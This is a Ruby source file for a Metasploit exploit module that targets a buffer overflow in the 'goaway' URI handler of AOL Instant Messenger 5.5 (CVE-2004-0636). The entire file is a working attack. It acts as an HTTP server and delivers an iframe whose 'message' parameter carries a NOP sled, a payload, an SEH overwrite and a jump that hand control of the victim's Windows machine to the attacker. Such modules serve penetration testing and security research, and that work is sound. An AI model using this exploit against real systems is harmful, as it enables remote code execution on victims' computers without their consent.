87 lines
2.5 KiB
Ruby
87 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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#
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# This module acts as an HTTP server and exploits an SEH overwrite
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#
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include Msf::Exploit::Seh
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AOL Instant Messenger goaway Overflow',
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'Description' => %q{
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This module exploits a flaw in the handling of AOL Instant
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Messenger's 'goaway' URI handler. An attacker can execute
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arbitrary code by supplying an overly sized buffer as the
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'message' parameter. This issue is known to affect AOL Instant
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Messenger 5.5.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'skape',
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'thief <thief[at]hick.org>'
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],
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'References' =>
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[
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[ 'CVE', '2004-0636' ],
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[ 'OSVDB', '8398' ],
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[ 'BID', '10889'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
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],
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'Payload' =>
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{
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'Space' => 1014,
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'MaxNops' => 1014,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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},
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'Platform' => %w{ win },
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'Targets' =>
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[
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# Target 0: Automatic
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[
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'Windows NT/2000/XP/2003 Automatic',
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{
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'Platform' => 'win',
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'Rets' =>
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[
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0x1108118f, # proto.com: pop/pop/ret
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],
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},
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2004-08-09'))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Build out the message
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msg =
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make_nops(1014 - p.encoded.length) + # NOP sled before the payload
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p.encoded + # store the payload
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generate_seh_record(target['Rets'][0]) + # set up the SEH frame
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"\x90\xe9\x13\xfc\xff\xff" # jmp -1000
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# Build the HTML content
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content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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